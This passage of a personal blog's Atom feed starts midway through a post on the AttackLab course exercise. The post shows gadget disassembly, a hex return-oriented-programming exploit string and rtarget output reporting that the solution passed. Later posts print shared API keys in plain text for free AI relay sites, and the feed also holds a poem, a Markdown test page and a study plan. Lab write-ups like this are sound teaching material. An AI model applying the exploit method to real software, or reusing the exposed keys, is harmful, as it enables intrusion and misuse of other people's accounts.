mov    $0xdb84ce89,%eax</span></span><br><span class="line"><span class="string">1304-  402295:c3                   ret    </span></span><br><span class="line"><span class="string">1305-</span></span><br><span class="line"><span class="string">1306-0000000000402296 &lt;addval_367&gt;:</span></span><br><span class="line"><span class="string">1307-  402296:f3 0f 1e fa          endbr64 </span></span><br><span class="line"><span class="string">1308-  40229a:8d 87 99 d1 90 c3    lea    -0x3c6f2e67(%rdi),%eax</span></span><br><span class="line"><span class="string">1309-  4022a0:c3                   ret    </span></span><br><span class="line"><span class="string">1310-</span></span><br><span class="line"><span class="string">1311-00000000004022a1 &lt;setval_345&gt;:</span></span><br><span class="line"><span class="string">1312-  4022a1:f3 0f 1e fa          endbr64 </span></span><br><span class="line"><span class="string">1313-  4022a5:c7 07 8d ce 20 c9    movl   $0xc920ce8d,(%rdi)</span></span><br><span class="line"><span class="string">1314-  4022ab:c3                   ret    </span></span><br><span class="line"><span class="string">1315-</span></span><br><span class="line"><span class="string">1316-00000000004022ac &lt;setval_468&gt;:</span></span><br><span class="line"><span class="string">1317-  4022ac:f3 0f 1e fa          endbr64 </span></span><br><span class="line"><span class="string">1318-  4022b0:c7 07 09 d1 38 db    movl   $0xdb38d109,(%rdi)</span></span><br><span class="line"><span class="string">1319-  4022b6:c3                   ret    </span></span><br><span class="line"><span class="string">1320-</span></span><br><span class="line"><span class="string">1321-00000000004022b7 &lt;addval_174&gt;:</span></span><br><span class="line"><span class="string">1322-  4022b7:f3 0f 1e fa          endbr64 </span></span><br><span class="line"><span class="string">1323-  4022bb:8d 87 48 89 e0 c7    lea    -0x381f76b8(%rdi),%eax</span></span><br><span class="line"><span class="string">1324-  4022c1:c3                   ret    </span></span><br><span class="line"><span class="string">1325-</span></span><br><span class="line"><span class="string">1326-00000000004022c2 &lt;setval_230&gt;:</span></span><br><span class="line"><span class="string">B24040307@ICS:~/target48$ cat &gt; rtarget.l3 &lt;&lt;&#x27;</span>EOF<span class="string">&#x27;</span></span><br><span class="line"><span class="string">00 00 00 00 00 00 00 00</span></span><br><span class="line"><span class="string">00 00 00 00 00 00 00 00</span></span><br><span class="line"><span class="string">00 00 00 00 00 00 00 00</span></span><br><span class="line"><span class="string">12 22 40 00 00 00 00 00</span></span><br><span class="line"><span class="string">28 21 40 00 00 00 00 00</span></span><br><span class="line"><span class="string">76 21 40 00 00 00 00 00</span></span><br><span class="line"><span class="string">48 00 00 00 00 00 00 00</span></span><br><span class="line"><span class="string">3c 22 40 00 00 00 00 00</span></span><br><span class="line"><span class="string">93 21 40 00 00 00 00 00</span></span><br><span class="line"><span class="string">91 22 40 00 00 00 00 00</span></span><br><span class="line"><span class="string">88 21 40 00 00 00 00 00</span></span><br><span class="line"><span class="string">28 21 40 00 00 00 00 00</span></span><br><span class="line"><span class="string">74 20 40 00 00 00 00 00</span></span><br><span class="line"><span class="string">31 63 32 61 33 32 34 35 00</span></span><br><span class="line"><span class="string">EOF</span></span><br><span class="line"><span class="string">B24040307@ICS:~/target48$ ./hex2raw &lt; rtarget.l3 &gt; rlevel3.txt</span></span><br><span class="line"><span class="string">B24040307@ICS:~/target48$ LD_PRELOAD=./printf.so ./rtarget -q &lt; rlevel3.txt</span></span><br><span class="line"><span class="string">Cookie: 0x1c2a3245</span></span><br><span class="line"><span class="string">Type string:Touch3!: You called touch3(&quot;1c2a3245&quot;)</span></span><br><span class="line"><span class="string">Valid solution for level 3 with target rtarget</span></span><br><span class="line"><span class="string">PASS: Would have posted the following:</span></span><br><span class="line"><span class="string">user idB24040307</span></span><br><span class="line"><span class="string">course15213-f15</span></span><br><span class="line"><span class="string">labattacklab</span></span><br><span class="line"><span class="string">result48:PASS:0xffffffff:rtarget:3:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 12 22 40 00 00 00 00 00 28 21 40 00 00 00 00 00 76 21 40 00 00 00 00 00 48 00 00 00 00 00 00 00 3C 22 40 00 00 00 00 00 93 21 40 00 00 00 00 00 91 22 40 00 00 00 00 00 88 21 40 00 00 00 00 00 28 21 40 00 00 00 00 00 74 20 40 00 00 00 00 00 31 63 32 61 33 32 34 35 00 </span></span><br><span class="line"><span class="string">B24040307@ICS:~/target48$ LD_PRELOAD=./printf.so ./rtarget &lt; rlevel3.txt</span></span><br><span class="line"><span class="string">Cookie: 0x1c2a3245</span></span><br><span class="line"><span class="string">Type string:Touch3!: You called touch3(&quot;1c2a3245&quot;)</span></span><br><span class="line"><span class="string">Valid solution for level 3 with target rtarget</span></span><br><span class="line"><span class="string">PASS: Sent exploit string to server to be validated.</span></span><br><span class="line"><span class="string">NICE JOB!</span></span><br><span class="line"><span class="string">B24040307@ICS:~/target48$</span></span><br></pre></td></tr></table></figure></li></ul><p><img src="https://cdn.jsdelivr.net/gh/Aobzii2024/Aobzii-Blog@main/images/%E5%B1%8F%E5%B9%95%E6%88%AA%E5%9B%BE%202026-05-11%20194740.png"></p>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;AttackLab&quot;&gt;&lt;a href=&quot;#AttackLab&quot; class=&quot;headerlink&quot; title=&quot;AttackLab&quot;&gt;&lt;/a&gt;AttackLab&lt;/h1&gt;&lt;hr&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;input checked=&quot;&quot; disabled=&quot;</summary>
      
    
    
    
    
    <category term="exp" scheme="https://ramblings.aobzii.top/tags/exp/"/>
    
    <category term="cs" scheme="https://ramblings.aobzii.top/tags/cs/"/>
    
  </entry>
  
  <entry>
    <title>相遇</title>
    <link href="https://ramblings.aobzii.top/2026/05/02/%E7%9B%B8%E9%81%87/"/>
    <id>https://ramblings.aobzii.top/2026/05/02/%E7%9B%B8%E9%81%87/</id>
    <published>2026-05-02T16:00:00.000Z</published>
    <updated>2026-06-06T13:10:08.115Z</updated>
    
    <content type="html"><![CDATA[<h1 id="相遇"><a href="#相遇" class="headerlink" title="相遇"></a>相遇</h1><p>时间慷慨赋予相遇</p><p>却吝啬到不给一句像样的再见</p><p>我们总以为来日方长</p><p>“而我不再觉得失去是舍不得”.</p>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;相遇&quot;&gt;&lt;a href=&quot;#相遇&quot; class=&quot;headerlink&quot; title=&quot;相遇&quot;&gt;&lt;/a&gt;相遇&lt;/h1&gt;&lt;p&gt;时间慷慨赋予相遇&lt;/p&gt;
&lt;p&gt;却吝啬到不给一句像样的再见&lt;/p&gt;
&lt;p&gt;我们总以为来日方长&lt;/p&gt;
&lt;p&gt;“而我不再觉得失去是舍不得”.&lt;</summary>
      
    
    
    
    
    <category term="遇见" scheme="https://ramblings.aobzii.top/tags/%E9%81%87%E8%A7%81/"/>
    
  </entry>
  
  <entry>
    <title>API 中转站</title>
    <link href="https://ramblings.aobzii.top/2026/04/22/API%20%E4%B8%AD%E8%BD%AC%E7%AB%99/"/>
    <id>https://ramblings.aobzii.top/2026/04/22/API%20%E4%B8%AD%E8%BD%AC%E7%AB%99/</id>
    <published>2026-04-22T16:00:00.000Z</published>
    <updated>2026-06-06T13:10:08.115Z</updated>
    
    <content type="html"><![CDATA[<h2 id="公益站"><a href="#公益站" class="headerlink" title="公益站"></a>公益站</h2><ol><li><a href="https://ai.071129.xyz/v1">https://ai.071129.xyz/v1</a><ul><li>站点介绍：相对稳定、免费</li><li>模型列表：Qwen3.6-Plus (SOTA Free)</li><li>API共享：sk-ibASlpKpmP8mrP8IhXL8Y0YqG6Qy2kHBGDfCHNA3fPSMVnaz<img src="https://cdn.jsdelivr.net/gh/Aobzii2024/Aobzii-Blog@main/images/Pasted%20image%2020260423164117.png" alt="697"></li></ul></li></ol><hr><ol start="2"><li><a href="https://api.iamhc.cn/v1">https://api.iamhc.cn/v1</a><ul><li>站点介绍：快速、稳定与免费</li><li>模型列表：moonshotai&#x2F;Kimi-K2.5 (SOTA Free)</li><li>API共享：sk-1yl1A4K0DD9nohqUJhfoMNXgf05rh00CYhOfPexLOh4F79uV<img src="https://cdn.jsdelivr.net/gh/Aobzii2024/Aobzii-Blog@main/images/Pasted%20image%2020260423164805.png" alt="697"></li></ul></li></ol><hr><ol start="3"><li><a href="https://longcat.chat/platform">https://longcat.chat/platform</a><ul><li>站点介绍：美团模型、每日免费额度大、性能可观</li><li>模型列表：LongCat-Flash-Lite、LongCat-Flash-Chat等</li><li>API共享：ak_2Lg5nY09H4PH7t97fP8CB8pX9QR7F</li><li>注意点：注册即有额度，可以自己注册薅<img src="https://cdn.jsdelivr.net/gh/Aobzii2024/Aobzii-Blog@main/images/Pasted%20image%2020260423164901.png" alt="697"></li></ul></li></ol><hr><ol start="4"><li>待补充…</li></ol><hr><h2 id="收费站"><a href="#收费站" class="headerlink" title="收费站"></a>收费站</h2><hr><ol><li><a href="https://routin.ai/">Routin</a><ul><li>站点介绍：稳定、模型多但是部分价格偏高</li><li>模型列表：Claude、GPT、Kimi、GLM、Gemini ..</li><li>API共享：无<img src="https://cdn.jsdelivr.net/gh/Aobzii2024/Aobzii-Blog@main/images/Pasted%20image%2020260423165922.png"></li></ul></li></ol><hr><ol start="2"><li><a href="http://api.221.qzz.io/">LiuNew API</a><ul><li>站点介绍：与芝麻类似，但是主要提供GPT、Codex</li><li>模型列表：GPT、Codex最新系列</li><li>API共享：无</li><li>More：他们家还有一个公益站，但是要加TG群，有门槛<img src="https://cdn.jsdelivr.net/gh/Aobzii2024/Aobzii-Blog@main/images/Pasted%20image%2020260423170037.png"></li></ul></li></ol><hr><ol start="3"><li>more…</li></ol><hr>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;公益站&quot;&gt;&lt;a href=&quot;#公益站&quot; class=&quot;headerlink&quot; title=&quot;公益站&quot;&gt;&lt;/a&gt;公益站&lt;/h2&gt;&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://ai.071129.xyz/v1&quot;&gt;https://ai.071129.xyz/v1&lt;</summary>
      
    
    
    
    
    <category term="ai" scheme="https://ramblings.aobzii.top/tags/ai/"/>
    
    <category term="api" scheme="https://ramblings.aobzii.top/tags/api/"/>
    
  </entry>
  
  <entry>
    <title>Hello world</title>
    <link href="https://ramblings.aobzii.top/2026/04/21/20260422112922684/"/>
    <id>https://ramblings.aobzii.top/2026/04/21/20260422112922684/</id>
    <published>2026-04-21T16:00:00.000Z</published>
    <updated>2026-06-06T13:10:08.115Z</updated>
    
    <content type="html"><![CDATA[<h4 id="Markdown-语法全要素测试文档"><a href="#Markdown-语法全要素测试文档" class="headerlink" title="Markdown 语法全要素测试文档"></a>Markdown 语法全要素测试文档</h4><p>这是一篇旨在测试 Markdown 渲染能力的综合性文档。它涵盖了从基础排版到高级语法（如数学公式、图表和代码高亮）的所有常用元素。</p><h4 id="1-基础排版与文本样式"><a href="#1-基础排版与文本样式" class="headerlink" title="1. 基础排版与文本样式"></a>1. 基础排版与文本样式</h4><p>Markdown 的核心在于其简洁的文本格式化能力。以下是常用文本样式的展示：</p><ul><li><strong>粗体文本</strong>：用于强调重点内容。</li><li><em>斜体文本</em>：用于表示引用、术语或轻微的强调。</li><li><em><strong>粗斜体</strong></em>：用于极度强调。</li><li><del>删除线</del>：用于表示已废弃或不再相关的内容。</li><li><strong>嵌套样式</strong>：你可以<strong>在粗体中包含<em>斜体</em>文本</strong>，反之亦然。</li></ul><blockquote><p><strong>引用块</strong></p><p>这是第一层引用。引用块常用于展示名言、代码注释或邮件回复。</p><blockquote><p>这是第二层嵌套引用。</p><p>它可以无限嵌套，以区分不同的对话层级或逻辑层次。</p></blockquote></blockquote><h4 id="2-列表与任务管理"><a href="#2-列表与任务管理" class="headerlink" title="2. 列表与任务管理"></a>2. 列表与任务管理</h4><p>有序列表和无序列表是组织信息的基础工具。</p><p><strong>无序列表：</strong></p><ul><li>第一项：使用 <code>-</code>、<code>+</code> 或 <code>*</code> 作为标记。</li><li>第二项：支持<strong>行内格式</strong>。</li><li>第三项：包含子列表。<ul><li>子项 A：通过缩进（通常是 2 或 4 个空格）创建。</li><li>子项 B：保持对齐。</li></ul></li></ul><p><strong>有序列表：</strong></p><ol><li>步骤一：首先，准备环境。</li><li>步骤二：其次，编写代码。<ol><li>子步骤：安装依赖。</li><li>子步骤：运行测试。</li></ol></li><li>步骤三：最后，部署上线。</li></ol><p><strong>任务列表（GFM 扩展）：</strong></p><ul><li><input checked="" disabled="" type="checkbox"> 已完成的任务</li><li><input disabled="" type="checkbox"> 待办事项 A</li><li><input disabled="" type="checkbox"> 待办事项 B</li></ul><h4 id="3-代码块与语法高亮"><a href="#3-代码块与语法高亮" class="headerlink" title="3. 代码块与语法高亮"></a>3. 代码块与语法高亮</h4><p>技术博客的核心。Markdown 支持行内代码和带有语法高亮的多行代码块。</p><p><strong>行内代码：</strong>请在终端运行 <code>npm install</code> 来安装依赖。变量 <code>$PATH</code> 指向系统目录。</p><p><strong>多行代码块（Python 示例）：</strong></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> time</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">countdown</span>(<span class="params">seconds</span>):</span><br><span class="line">    <span class="string">&quot;&quot;&quot;</span></span><br><span class="line"><span class="string">    一个简单的倒计时函数</span></span><br><span class="line"><span class="string">    &quot;&quot;&quot;</span></span><br><span class="line">    <span class="keyword">while</span> seconds:</span><br><span class="line">        mins, secs = <span class="built_in">divmod</span>(seconds, <span class="number">60</span>)</span><br><span class="line">        timer = <span class="string">&#x27;&#123;:02d&#125;:&#123;:02d&#125;&#x27;</span>.<span class="built_in">format</span>(mins, secs)</span><br><span class="line">        <span class="built_in">print</span>(timer, end=<span class="string">&quot;\r&quot;</span>)</span><br><span class="line">        time.sleep(<span class="number">1</span>)</span><br><span class="line">        seconds -= <span class="number">1</span></span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;时间到！&quot;</span>)</span><br><span class="line"></span><br><span class="line">countdown(<span class="number">10</span>)</span><br></pre></td></tr></table></figure><p><strong>JSON 数据示例：</strong></p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">  <span class="attr">&quot;user&quot;</span><span class="punctuation">:</span> <span class="string">&quot;admin&quot;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;version&quot;</span><span class="punctuation">:</span> <span class="string">&quot;1.0.0&quot;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;features&quot;</span><span class="punctuation">:</span> <span class="punctuation">[</span><span class="string">&quot;markdown&quot;</span><span class="punctuation">,</span> <span class="string">&quot;latex&quot;</span><span class="punctuation">,</span> <span class="string">&quot;diagrams&quot;</span><span class="punctuation">]</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;active&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">true</span></span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><h4 id="4-数学公式"><a href="#4-数学公式" class="headerlink" title="4. 数学公式"></a>4. 数学公式</h4><p>对于学术或技术文档，数学公式的支持至关重要。</p><p><strong>行内公式：</strong>当 $a \ne 0$ 时，方程 $ax^2 + bx + c &#x3D; 0$ 有两个解，可以通过求根公式 $x &#x3D; \frac{-b \pm \sqrt{b^2 - 4ac}}{2a}$ 求得。</p><p><strong>独立公式块：</strong>以下是欧拉恒等式，被许多数学家认为是数学中最美丽的公式：</p><p>$$e^{i\pi} + 1 &#x3D; 0$$</p><p>复杂的矩阵与求和示例：</p><p>$$\mathbf{A} &#x3D; \begin{pmatrix}\alpha_{11} &amp; \cdots &amp; \alpha_{1n} \\\vdots &amp; \ddots &amp; \vdots \\\alpha_{n1} &amp; \cdots &amp; \alpha_{nn}\end{pmatrix}$$</p><p>$$P(E) &#x3D; {n \choose k} p^k (1-p)^{n-k}$$</p><h4 id="5-表格"><a href="#5-表格" class="headerlink" title="5. 表格"></a>5. 表格</h4><p>表格用于展示结构化数据。</p><table><thead><tr><th align="left">特性</th><th align="center">支持情况</th><th align="center">优先级</th><th align="left">备注</th></tr></thead><tbody><tr><td align="left"><strong>标题</strong></td><td align="center">支持</td><td align="center">高</td><td align="left">必须清晰</td></tr><tr><td align="left"><em>对齐</em></td><td align="center">支持</td><td align="center">中</td><td align="left">左、中、右</td></tr><tr><td align="left">链接</td><td align="center">支持</td><td align="center">高</td><td align="left"><a href="#">示例</a></td></tr><tr><td align="left">图片</td><td align="center">支持</td><td align="center">极高</td><td align="left">需优化加载</td></tr></tbody></table><h4 id="6-链接与图片"><a href="#6-链接与图片" class="headerlink" title="6. 链接与图片"></a>6. 链接与图片</h4><ul><li><strong>普通链接</strong>：访问 <a href="https://github.com/">GitHub</a> 获取更多信息。</li><li><strong>带标题的链接</strong>：<a href="https://developer.mozilla.org/" title="Web 技术文档">MDN Web Docs</a>。</li><li><strong>图片引用</strong>：<ul><li>语法：<code>![Alt 文本](图片URL)</code></li><li>示例：<img src="https://cdn.jsdelivr.net/gh/Aobzii2024/Aobzii-Blog@main/images/20260422112438984.png"></li></ul></li></ul><h4 id="7-脚注"><a href="#7-脚注" class="headerlink" title="7. 脚注"></a>7. 脚注</h4><p>这是一个带有脚注的句子<a href="%E8%BF%99%E6%98%AF%E8%84%9A%E6%B3%A8%E7%9A%84%E5%85%B7%E4%BD%93%E5%86%85%E5%AE%B9%EF%BC%8C%E9%80%9A%E5%B8%B8%E6%98%BE%E7%A4%BA%E5%9C%A8%E6%96%87%E7%AB%A0%E5%BA%95%E9%83%A8%E3%80%82">^1</a>。脚注可以让读者在不打断阅读流的情况下获取额外信息。</p><h4 id="8-流程图"><a href="#8-流程图" class="headerlink" title="8. 流程图"></a>8. 流程图</h4><p>使用 Mermaid 语法绘制流程图，展示逻辑关系。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">graph TD;</span><br><span class="line">    A[开始] --&gt; B&#123;是否有数据?&#125;;</span><br><span class="line">    B -- 是 --&gt; C[处理数据];</span><br><span class="line">    B -- 否 --&gt; D[报错];</span><br><span class="line">    C --&gt; E[保存结果];</span><br><span class="line">    D --&gt; E;</span><br><span class="line">    E --&gt; F[结束];</span><br></pre></td></tr></table></figure><h4 id="9-水平分割线"><a href="#9-水平分割线" class="headerlink" title="9. 水平分割线"></a>9. 水平分割线</h4><p>使用三个或更多的 <code>*</code>、<code>-</code> 或 <code>_</code> 可以创建分割线，用于区分章节。</p><hr>]]></content>
    
    
      
      
    <summary type="html">&lt;h4 id=&quot;Markdown-语法全要素测试文档&quot;&gt;&lt;a href=&quot;#Markdown-语法全要素测试文档&quot; class=&quot;headerlink&quot; title=&quot;Markdown 语法全要素测试文档&quot;&gt;&lt;/a&gt;Markdown 语法全要素测试文档&lt;/h4&gt;&lt;p&gt;这是一篇旨在</summary>
      
    
    
    
    
    <category term="test" scheme="https://ramblings.aobzii.top/tags/test/"/>
    
  </entry>
  
  <entry>
    <title>April Plan</title>
    <link href="https://ramblings.aobzii.top/2026/04/21/April%20Plan/"/>
    <id>https://ramblings.aobzii.top/2026/04/21/April%20Plan/</id>
    <published>2026-04-21T16:00:00.000Z</published>
    <updated>2026-06-06T13:10:08.115Z</updated>
    
    <content type="html"><![CDATA[<ul><li><input checked="" disabled="" type="checkbox"> Python在线Mooc平台作业 最近截止 4.18、4.25互评</li><li><input checked="" disabled="" type="checkbox"> 电工电子实验报告+课后作业 4.18</li><li><input checked="" disabled="" type="checkbox"> 算法设计与分析 分支算法与贪心法(作业 及时)4.18</li><li><input checked="" disabled="" type="checkbox"> Python + 人工智能 4.15</li><li><input checked="" disabled="" type="checkbox"> 数字电路复习 4.18</li><li><input checked="" disabled="" type="checkbox"> 数模 + mooc 4.18</li><li><input checked="" disabled="" type="checkbox"> momo + … -&gt; self</li><li><input checked="" disabled="" type="checkbox"> 概率论作业</li><li><input checked="" disabled="" type="checkbox"> PTA</li><li><input checked="" disabled="" type="checkbox"> 形势与政策作业</li><li><input checked="" disabled="" type="checkbox"> Java 实验报告</li><li><input checked="" disabled="" type="checkbox"> 雨课堂 计算机基础</li><li><input checked="" disabled="" type="checkbox"> 电工电子实验报告</li><li><input disabled="" type="checkbox"> 汇编语言(x86-64 Intel)</li><li><input disabled="" type="checkbox"> Git + Python </li><li><input disabled="" type="checkbox"> 数模作业与知道学习(好几个)</li><li><input disabled="" type="checkbox"> 拆弹实验报告 4.19 </li><li><input disabled="" type="checkbox"> 数电、算法与概率论</li></ul>]]></content>
    
    
      
      
    <summary type="html">&lt;ul&gt;
&lt;li&gt;&lt;input checked=&quot;&quot; disabled=&quot;&quot; type=&quot;checkbox&quot;&gt; Python在线Mooc平台作业 最近截止 4.18、4.25互评&lt;/li&gt;
&lt;li&gt;&lt;input checked=&quot;&quot; disabled=&quot;&quot; type=&quot;check</summary>
      
    
    
    
    
    <category term="plan" scheme="https://ramblings.aobzii.top/tags/plan/"/>
    
  </entry>
  
</feed>
